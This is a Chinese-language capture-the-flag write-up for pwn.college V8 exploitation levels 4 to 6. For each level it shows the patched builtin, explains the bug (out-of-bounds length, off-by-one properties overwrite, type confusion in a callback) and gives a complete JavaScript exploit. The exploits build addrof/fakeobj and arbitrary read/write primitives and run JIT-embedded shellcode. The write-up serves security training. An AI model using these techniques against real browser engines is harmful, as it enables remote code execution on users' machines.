本文为pwncollege V8 Exploitation WP, 包含LEVEL 4-6
更新于2024.12.05…
欢迎在文末评论区进行留言讨论或指出问题

LEVEL4

patch

增加了array.prototype.setLength()

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 48249695b7b..f3379ac47ec 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -2531,6 +2531,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,`
JSObject::AddProperty(isolate_, proto, factory->constructor_string(),
array_function, DONT_ENUM);

+ SimpleInstallFunction(isolate_, proto, "setLength",
+ Builtin::kArrayPrototypeSetLength, 1, true);
SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1,
true);
SimpleInstallFunction(isolate_, proto, "concat"

exp

相对来说,这道题并不困难,所以不做过多分析,大致思路:

  • 通过setLength()修改Array长度
  • 越界读写后续地址对象,实现任意地址读写
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function hex(i) {
return i.toString(16).padStart(8, "0");
}

function i2f(i) {
bigUint64[0] = i;
return f64[0];
}

function f2i(i) {
f64[0] = i;
return bigUint64[0];
}

function u2f(low, high) {
u32[0] = low;
u32[1] = high;
return f64[0];
}

function u2i(low, high) {
u32[0] = low;
u32[1] = high;
return bigUint64[0];
}

function i2u_l(i) {
bigUint64[0] = i;
return u32[0];
}

function i2u_h(i) {
bigUint64[0] = i;
return u32[1];
}

const shellcode = () => {return [1.9995716422075807e-246,
1.9710255944286777e-246,
1.97118242283721e-246,
1.971136949489835e-246,
1.9711826272869888e-246,
1.9711829003383248e-246,
-9.254983612527998e+61];}

for(let i = 0; i< 100000; i++) shellcode();

var a = new Array(0x100).fill(1.1)
var b = new Array(0x100).fill(2.2);
var obj = {a, b};
obj[0] = shellcode;
a.setLength(0x110);
var double_array_map = i2u_l(f2i(a[0x100]));
var double_prototype = i2u_h(f2i(a[0x100]));
console.log("double_array_map-->0x"+hex(double_array_map));
console.log("double_prototype-->0x"+hex(double_prototype));
b.setLength(0x110);
var obj_array_map = i2u_l(f2i(b[0x100]));
var obj_prototype = i2u_h(f2i(b[0x100]));
console.log("obj_array_map-->0x"+hex(obj_array_map));
console.log("obj_prototype-->0x"+hex(obj_prototype));

function GetAddressOf(target) {
obj[0] = target;
b[0x100] = u2f(double_array_map, double_prototype);
return i2u_l(f2i(obj[0]));
}

function ArbRead64(addr) {
b[0x100] = u2f(double_array_map, double_prototype);
b[0x101] = u2f(addr-0x8+1, 100);
return f2i(obj[0]);
}

function ArbWrite64(addr, data) {
b[0x100] = u2f(double_array_map, double_prototype);
b[0x101] = u2f(addr-0x8+1, 100);
obj[0] = i2f(data);
}

shellcode_addr = GetAddressOf(shellcode)-1;
console.log("shellcode_addr-->0x"+hex(shellcode_addr));

code_addr = i2u_l(ArbRead64(shellcode_addr + 0xc))-1;
console.log("code_addr-->0x"+hex(code_addr));

machinecode_addr = ArbRead64(code_addr+0x14);
console.log("machinecode-->0x"+hex(machinecode_addr));

malice = machinecode_addr + 0x6bn;
ArbWrite64(code_addr+0x14, malice);

shellcode();

LEVEL 5

patch

增添了一个offByOne()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 48249695b7b..99dc014c13c 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -2533,6 +2533,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,

SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1,
true);
+ SimpleInstallFunction(isolate_, proto, "offByOne",
+ Builtin::kArrayOffByOne, 1, false);
SimpleInstallFunction(isolate_, proto, "concat",
Builtin::kArrayPrototypeConcat, 1, false);
SimpleInstallFunction(isolate_, proto, "copyWithin",

offByOne

直接来看代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
BUILTIN(ArrayOffByOne) {
HandleScope scope(isolate);
Factory *factory = isolate->factory();
Handle<Object> receiver = args.receiver();

if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
factory->NewStringFromAsciiChecked("Nope")));
}

Handle<JSArray> array = Cast<JSArray>(receiver);

ElementsKind kind = array->GetElementsKind();

if (kind != PACKED_DOUBLE_ELEMENTS) {
THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
factory->NewStringFromAsciiChecked("Need an array of double numbers")));
}

if (args.length() > 2) {
THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
factory->NewStringFromAsciiChecked("Too many arguments")));
}

Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);
uint32_t len = static_cast<uint32_t>(Object::NumberValue(array->length()));
if (args.length() == 1) { // read mode
return *(isolate->factory()->NewNumber(elements->get_scalar(len)));
} else { // write mode
Handle<Object> value = args.at(1);
if (!IsNumber(*value)) {
THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
factory->NewStringFromAsciiChecked("Need a number argument")));
}
double num = static_cast<double>(Object::NumberValue(*value));
elements->set(len, num);
return ReadOnlyRoots(isolate).undefined_value();
}
}

总体毕竟容易理解:针对Double Array可以实现越界读写8字节,也就是说我们只能够覆盖mapproperties

properties 覆盖

关于propertype可以阅读这篇博客fast-properties,阐述的相当详细了。

其中涉及到的这几个概念需要重点关注下:

  • Named properties vs. elements

  • In-object vs. normal properties

  • Fast vs. slow properties

image-20241204153852675

假设有如下js代码

1
2
3
4
let array = [1.1];
let obj = {in1 : 1}; //in-object properties
obj.out1 = 2; //normal properties
obj.out2 = 3;

可以料想到属性in1是对象内部属性(in-object),而out1out2则用properties指针索引, 如下图:

image-20241204154804592

也就是说这个时候properties指向的结构如下

1
| map 4 bytes | len 4 bytes | out1 SMI 4 bytes | out2 SMI 4 bytes | ......

如果将properties指针覆盖为array的地址,那么就可以利用out1out2修改 array的elementslen

exp

剩余的思路与之前类似,不做赘述,直接贴一个参考exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function hex(i) {
return i.toString(16).padStart(8, "0");
}

function i2f(i) {
bigUint64[0] = i;
return f64[0];
}

function f2i(i) {
f64[0] = i;
return bigUint64[0];
}

function u2f(low, high) {
u32[0] = low;
u32[1] = high;
return f64[0];
}

function u2i(low, high) {
u32[0] = low;
u32[1] = high;
return bigUint64[0];
}

function i2u_l(i) {
bigUint64[0] = i;
return u32[0];
}

function i2u_h(i) {
bigUint64[0] = i;
return u32[1];
}

function shellcode() {
return [1.9995716422075807e-246,
1.9710255944286777e-246,
1.97118242283721e-246,
1.971136949489835e-246,
1.9711826272869888e-246,
1.9711829003383248e-246,
-9.254983612527998e+61];
}

for(let i = 0; i< 10000; i++) shellcode();

let a = [1.1];
let obj = {in1 : 1};
obj.out1 = 2;
obj.out2 = 3;

temp = f2i(a.offByOne()); //map, properties
obj_array_map = i2u_l(temp);
console.log("obj_array_map-->0x"+hex(obj_array_map));

array_addr = i2u_h(temp) - 0x7c;
a.offByOne(u2f(obj_array_map,array_addr));
obj.out2 = 0x1000; //a.len = 0x1000;

let b = [2.2, 3.3, 4.4];

temp = f2i(a[54]);
double_array_map = i2u_l(temp);
double_properties = i2u_h(temp);
console.log("double_array_map-->0x"+hex(double_array_map));

function GetAddressOf(target) {
a[54] = u2f(obj_array_map, 0);
b[0] = target;
a[54] = u2f(double_array_map, 0);
return f2i(b[0]);
}

function GetFakeObject(addr) {
a[54] = u2f(double_array_map, 0);
b[0] = u2f(addr, 0);
a[54] = u2f(obj_array_map, 0);
return b[0];
}

shellcode_addr = GetAddressOf(shellcode);
console.log("shellcode_addr-->0x"+hex(shellcode_addr));

let fake_array = [u2f(double_array_map, 0), u2f(i2u_l(shellcode_addr)-0x8, 100)];
fake_array_addr = GetAddressOf(fake_array);
fake_obj = GetFakeObject(i2u_l(fake_array_addr)+0x54);

function ArbRead64(addr) {
fake_array[1] = u2f(addr-8+1,100);
return f2i(fake_obj[0]);
}

function ArbWrite64(addr, data) {
fake_array[1] = u2f(addr-8+1, 100);
fake_obj[0] = i2f(data);
}

code_addr = ArbRead64(i2u_l(shellcode_addr)+0xc-1);
console.log("code_addr-->0x"+hex(code_addr));

machine_code_addr = ArbRead64(i2u_l(code_addr)-1+0x14);
console.log("machine_code_addr-->0x"+hex(machine_code_addr));

malice = machine_code_addr + 0x6bn;
ArbWrite64(i2u_l(code_addr)-1+0x14,malice);

shellcode();

LEVEL 6

Patch

这个patch还是挺有意思的,增添了functionMap函数

1
2
3
4
5
6
7
8
9
10
11
12
13
diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.cc
index 48249695b7b..5e76e66bc15 100644
--- a/src/init/bootstrapper.cc
+++ b/src/init/bootstrapper.cc
@@ -2533,6 +2533,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,

SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1,
true);
+ SimpleInstallFunction(isolate_, proto, "functionMap",
+ Builtin::kArrayFunctionMap, 1, false);
SimpleInstallFunction(isolate_, proto, "concat",
Builtin::kArrayPrototypeConcat, 1, false);
SimpleInstallFunction(isolate_, proto, "copyWithin",

functionMap

我们详细的看看函数具体实现,首先与之前的LEVEL类似,判断array是否为SimpleReceiverElementselements kindPACKED_DOUBLE_ELEMENTS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
...
if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {
THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
factory->NewStringFromAsciiChecked("Nope")));
}

Handle<JSArray> array = Cast<JSArray>(receiver);

ElementsKind kind = array->GetElementsKind();

if (kind != PACKED_DOUBLE_ELEMENTS) {
THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
factory->NewStringFromAsciiChecked("Need an array of double numbers")));
}
...

接着检查参数:需要一个func_obj作为参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
...
if (args.length() != 2) {
THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
factory->NewStringFromAsciiChecked("Need exactly one argument")));
}

uint32_t len = static_cast<uint32_t>(Object::NumberValue(array->length()));

Handle<Object> func_obj = args.at(1);
if (!IsJSFunction(*func_obj)) {
THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
factory->NewStringFromAsciiChecked("The argument must be a function")));
}
...

之后会遍历array的每一个元素,并调用func_obj,有如下要求:

  • func_obj的参数为array的单个元素,也就是double
  • func_obj的返回值也需要为一个double
  • 返回的double会覆盖array对应索引位置
1
2
3
4
5
6
7
8
9
10
11
12
13
...
for (uint32_t i = 0; i < len; i++) {
double elem = Cast<FixedDoubleArray>(array->elements())->get_scalar(i);
Handle<Object> elem_handle = factory->NewHeapNumber(elem);
Handle<Object> result = Execution::Call(isolate, func_obj, array, 1, &elem_handle).ToHandleChecked();
if (!IsNumber(*result)) {
THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,
factory->NewStringFromAsciiChecked("The function must return a number")));
}
double result_value = static_cast<double>(Object::NumberValue(*result));
Cast<FixedDoubleArray>(array->elements())->set(i, result_value);
}
...

思路

这个函数存在一个漏洞,注意遍历取值的代码:

1
2
3
for (uint32_t i = 0; i < len; i++) {
double elem = Cast<FixedDoubleArray>(array->elements())->get_scalar(i);
...

这里的取值固定认为array为FixedDoubleArray,这是因为在functionMap开头已经检测过array的类型。但是由于JS Object的类型是动态的,我们完全有可能在自定义的func_obj中修改array的元素,导致类型发生转变,从而实现类型混淆。

假设有如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
let arr = [1.1, 1.1, 1.1];
let obj = {};
let idx = 0;
let obj_addr = undefined;

arr.functionMap((value) => {
switch(idx) {
case 0:
idx++;
arr[2] = obj; //改变arr的类型从double_packed 变为 packed_ele
return value;
case 1:
idx++;
obj_addr = value; //此时已经类型混淆,将对象指针当作double进行输出
return value;
}
});

console.log(obj_addr);

可以轻松实现对象地址的泄露,也就是GetAddressOf()。稍微整理下,我们就可以得到GetAdderssOf()GetFakeObj(),示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
function GetAddressOf(target) {
let arr = [1.1, 1.1, 1.1];
let addr = undefined;
let idx = 0;
arr.functionMap((value) => {
switch(idx) {
case 0:
arr[2] = target;
idx++;
return value
case 1:
addr = f2i(value);
idx++;
return value;
default:
idx++;
return value;
}
});
return addr;
}

function GetFakeObject(addr) {
let arr = [1.1, 1.1, 1.1];
let fake_obj = undefined;
let obj = {};
let idx = 0;

arr.functionMap((value) => {
switch(idx) {
case 0:
idx++;
arr[2] = obj;
return i2f(addr);
default :
idx++;
return value;
}
});
fake_obj = arr[0];
return fake_obj;
}

exp

剩余部分就比较简单了,参考exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function hex(i) {
return i.toString(16).padStart(8, "0");
}

function i2f(i) {
bigUint64[0] = i;
return f64[0];
}

function f2i(i) {
f64[0] = i;
return bigUint64[0];
}

function u2f(low, high) {
u32[0] = low;
u32[1] = high;
return f64[0];
}

function u2i(low, high) {
u32[0] = low;
u32[1] = high;
return bigUint64[0];
}

function i2u_l(i) {
bigUint64[0] = i;
return u32[0];
}

function i2u_h(i) {
bigUint64[0] = i;
return u32[1];
}

function shellcode() {
return [1.9995716422075807e-246,
1.9710255944286777e-246,
1.97118242283721e-246,
1.971136949489835e-246,
1.9711826272869888e-246,
1.9711829003383248e-246,
-9.254983612527998e+61];
}

for(let i = 0; i< 10000; i++) shellcode();

function GetAddressOf(target) {
let arr = [1.1, 1.1, 1.1];
let addr = undefined;
let idx = 0;
arr.functionMap((value) => {
switch(idx) {
case 0:
arr[2] = target;
idx++;
return value
case 1:
addr = f2i(value);
idx++;
return value;
default:
idx++;
return value;
}
});
return addr;
}

function GetFakeObject(addr) {
let arr = [1.1, 1.1, 1.1];
let fake_obj = undefined;
let obj = {};
let idx = 0;

arr.functionMap((value) => {
switch(idx) {
case 0:
idx++;
arr[2] = obj;
return i2f(addr);
default :
idx++;
return value;
}
});
fake_obj = arr[0];
return fake_obj;
}

let fake_double_map = [i2f(0x31040404001c01b5n), i2f(0x0a8007ff11000844n)];

fake_double_map_addr = GetAddressOf(fake_double_map) + 0x54n;
console.log("fake_double_map_addr-->0x"+hex(fake_double_map_addr));
shellcode_addr = GetAddressOf(shellcode);
console.log("shellcode_obj_addr-->0x"+hex(shellcode_addr));

let fake_array = [u2f(i2u_l(fake_double_map_addr),0), u2f(i2u_l(shellcode_addr), 100)];

fake_array_addr = GetAddressOf(fake_array);
console.log("fake_array_addr-->0x"+hex(fake_array_addr));

fake_obj = GetFakeObject(fake_array_addr + 0x54n);

function ArbRead64(addr) {
fake_array[1] = u2f(addr-0x8, 100);
return f2i(fake_obj[0]);
}

function ArbWrite64(addr, data) {
fake_array[1] = u2f(addr-0x8, 100);
fake_obj[0] = i2f(data);
}

code_addr = ArbRead64(i2u_l(shellcode_addr) + 0xc);
console.log("code_addr-->0x"+hex(code_addr));
machine_code_addr = ArbRead64(i2u_l(code_addr)+0x14);
console.log("machine_code_addr-->"+hex(machine_code_addr));
ArbWrite64(i2u_l(code_addr)+0x14,machine_code_addr+0x6bn);
shellcode();